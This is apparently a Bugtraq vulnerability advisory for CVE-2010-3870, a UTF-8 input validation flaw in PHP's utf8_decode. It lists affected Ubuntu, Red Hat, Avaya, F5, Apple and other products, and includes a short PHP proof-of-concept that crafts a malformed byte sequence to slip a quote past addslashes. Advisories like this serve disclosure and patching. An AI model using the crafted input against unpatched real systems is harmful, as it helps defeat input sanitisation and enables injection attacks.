PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability

BID:44605

Info

PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability

Bugtraq ID: 44605
Class: Input Validation Error
CVE: CVE-2010-3870
Remote: Yes
Local: No
Published: May 11 2009 12:00AM
Updated: May 07 2015 05:17PM
Credit: [email protected]
Vulnerable: Ubuntu Ubuntu Linux 9.10 sparc
Ubuntu Ubuntu Linux 9.10 powerpc
Ubuntu Ubuntu Linux 9.10 lpia
Ubuntu Ubuntu Linux 9.10 i386
Ubuntu Ubuntu Linux 9.10 ARM
Ubuntu Ubuntu Linux 9.10 amd64
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Ubuntu Ubuntu Linux 10.10 powerpc
Ubuntu Ubuntu Linux 10.10 i386
Ubuntu Ubuntu Linux 10.10 ARM
Ubuntu Ubuntu Linux 10.10 amd64
Ubuntu Ubuntu Linux 10.04 sparc
Ubuntu Ubuntu Linux 10.04 powerpc
Ubuntu Ubuntu Linux 10.04 i386
Ubuntu Ubuntu Linux 10.04 ARM
Ubuntu Ubuntu Linux 10.04 amd64
SuSE SUSE Linux Enterprise 11 SP1
SuSE SUSE Linux Enterprise 11
SuSE SUSE Linux Enterprise 10 SP3
S.u.S.E. openSUSE 11.3
S.u.S.E. openSUSE 11.2
S.u.S.E. openSUSE 11.1
Redhat Enterprise Linux WS 4
Redhat Enterprise Linux Workstation Optional 6
Redhat Enterprise Linux Workstation 6
Redhat Enterprise Linux Server Optional 6
Redhat Enterprise Linux Server 6
Redhat Enterprise Linux HPC Node Optional 6
Redhat Enterprise Linux ES 4
Redhat Enterprise Linux Desktop Workstation 5 client
Redhat Enterprise Linux Desktop Optional 6
Redhat Enterprise Linux AS 4
Redhat Enterprise Linux Desktop version 4
Redhat Enterprise Linux 5 Server
PHP PHP 5.3.2
PHP PHP 5.3.1
PHP PHP 5.3
PHP PHP 5.2.13
PHP PHP 5.2.12
PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9 -2
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
+ Ubuntu Ubuntu Linux 7.04 sparc
 + Ubuntu Ubuntu Linux 7.04 powerpc
 + Ubuntu Ubuntu Linux 7.04 i386
 + Ubuntu Ubuntu Linux 7.04 amd64
 PHP PHP 5.1.6
+ Ubuntu Ubuntu Linux 6.10 sparc
 + Ubuntu Ubuntu Linux 6.10 powerpc
 + Ubuntu Ubuntu Linux 6.10 i386
 + Ubuntu Ubuntu Linux 6.10 amd64
 PHP PHP 5.1.5
PHP PHP 5.1.4
PHP PHP 5.1.3 -RC1
PHP PHP 5.1.3
PHP PHP 5.1.2
PHP PHP 5.1.1
PHP PHP 5.1
PHP PHP 5.0.5
PHP PHP 5.0.4
PHP PHP 5.0.3
PHP PHP 5.0.2
PHP PHP 5.0.1
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 5.0 .0
PHP PHP 5.3.3
PHP PHP 5.2.14
PHP PHP 5.2
Mandriva Linux Mandrake 2010.1 x86_64
Mandriva Linux Mandrake 2010.1
Mandriva Linux Mandrake 2010.0 x86_64
Mandriva Linux Mandrake 2010.0
Mandriva Linux Mandrake 2009.1 x86_64
Mandriva Linux Mandrake 2009.1
Mandriva Linux Mandrake 2009.0 x86_64
Mandriva Linux Mandrake 2009.0
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
HP OpenVMS Secure Web Server 7.3 -2
HP OpenVMS Secure Web Server 7.3 -1
HP OpenVMS Secure Web Server 7.3
HP OpenVMS Secure Web Server 7.2 -2
HP OpenVMS Secure Web Server 1.2
HP OpenVMS Secure Web Server 1.1 -1
HP OpenVMS Secure Web Server 2.2
HP OpenVMS Secure Web Server 2.1-1
F5 FirePass 6.0.3
F5 FirePass 6.0.2
F5 FirePass 6.0.1
F5 FirePass 7.0
F5 FirePass 6.1
F5 FirePass 6.0.2.3
F5 FirePass 6.0
F5 BigIP Local Traffic Manager (LTM) 8900 10.2.1 HFA3
F5 BigIP Local Traffic Manager (LTM) 6400 10.2.1 HFA3
F5 BigIP Global Traffic Manager (GTM) 10.1
F5 BigIP Global Traffic Manager (GTM) 10.0.1
F5 BigIP Global Traffic Manager (GTM) 10.0
F5 BigIP Application Security Manager (ASM) 10.1
F5 BigIP Application Security Manager (ASM) 10.0.1
F5 BigIP Application Security Manager (ASM) 10.0
F5 BIG-IP Protocol Security Manager 10.1
F5 BIG-IP Protocol Security Manager 10.0
F5 BIG-IP Link Controller 10.1
F5 BIG-IP Link Controller 10.0.1
F5 BIG-IP Link Controller 10.0
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Avaya Voice Portal 5.1
Avaya Voice Portal 5.1
Avaya Voice Portal 5.0 SP2
Avaya Voice Portal 5.0 SP1
Avaya Voice Portal 5.0
Avaya Voice Portal 4.1 SP2
Avaya Voice Portal 4.1 SP1
Avaya Voice Portal 4.1
Avaya Voice Portal 4.0
Avaya Message Networking 5.2.1
Avaya Message Networking MN 3.1
Avaya Message Networking 5.2 SP1
Avaya Message Networking 5.2
Avaya Message Networking 3.1
Avaya Message Networking
Avaya Intuity AUDIX LX 2.0 SP2
Avaya Intuity AUDIX LX 2.0 SP1
Avaya Intuity AUDIX LX 2.0
Avaya Aura SIP Enablement Services 5.2.1
Avaya Aura SIP Enablement Services 5.2
Avaya Aura SIP Enablement Services 5.1
Avaya Aura SIP Enablement Services 5.0
Avaya Aura SIP Enablement Services 4.0
Avaya Aura Session Manager 5.2
Avaya Aura Communication Manager 6.0.1
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Avaya Aura Communication Manager 6.0
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Avaya Aura Communication Manager 5.2
Avaya Aura Communication Manager 5.1
Avaya Aura Communication Manager 4.0
Avaya Aura Communication Manager 4.0
Avaya Aura Application Enablement Services 5.2.1
Avaya Aura Application Enablement Services 4.2.3
Avaya Aura Application Enablement Services 4.2.2
Avaya Aura Application Enablement Services 4.2.1
Avaya Aura Application Enablement Services 4.0.1
Avaya Aura Application Enablement Services 5.2
Avaya Aura Application Enablement Services 4.2
Avaya Aura Application Enablement Services 4.1
Avaya Aura Application Enablement Services 4.0
Apple Mac OS X Server 10.6.6
Apple Mac OS X Server 10.6.5
Apple Mac OS X Server 10.6.4
Apple Mac OS X Server 10.6.3
Apple Mac OS X Server 10.6.2
Apple Mac OS X Server 10.6.1
Apple Mac OS X Server 10.6
Apple Mac OS X 10.6.5
Apple Mac OS X 10.6.4
Apple Mac OS X 10.6.3
Apple Mac OS X 10.6.2
Apple Mac OS X 10.6.1
Apple Mac OS X 10.6
Not Vulnerable: PHP PHP 5.3.4
Apple Mac OS X Server 10.6.7
Apple Mac OS X 10.6.7

Discussion

PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability

PHP is prone to a vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow attackers to provide unexpected input and possibly bypass input-validation protection mechanisms. This can aid in further attacks that may utilize crafted user-supplied input.

Versions prior to PHP 5.3.4 are vulnerable.

Exploit / POC

PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability

The following exploit code is available:

<?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode("$ill");
echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );
?>

Solution / Fix

PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability

Solution:
Updates are available. Please see the references for more information.


Ubuntu Ubuntu Linux 9.10 powerpc

Ubuntu Ubuntu Linux 9.10 lpia

Ubuntu Ubuntu Linux 10.04 powerpc

Ubuntu Ubuntu Linux 9.10 ARM

Ubuntu Ubuntu Linux 9.10 amd64

Apple Mac OS X 10.6

Mandriva Linux Mandrake 2009.0 x86_64

Mandriva Linux Mandrake 2009.1 x86_64

MandrakeSoft Enterprise Server 5

Ubuntu Ubuntu Linux 8.04 LTS lpia

Ubuntu Ubuntu Linux 6.06 LTS i386

Mandriva Linux Mandrake 2009.0

Ubuntu Ubuntu Linux 10.10 powerpc

Ubuntu Ubuntu Linux 8.04 LTS i386

Apple Mac OS X 10.6.1

Apple Mac OS X 10.6.3

Apple Mac OS X Server 10.6.6

MandrakeSoft Corporate Server 4.0 x86_64

References

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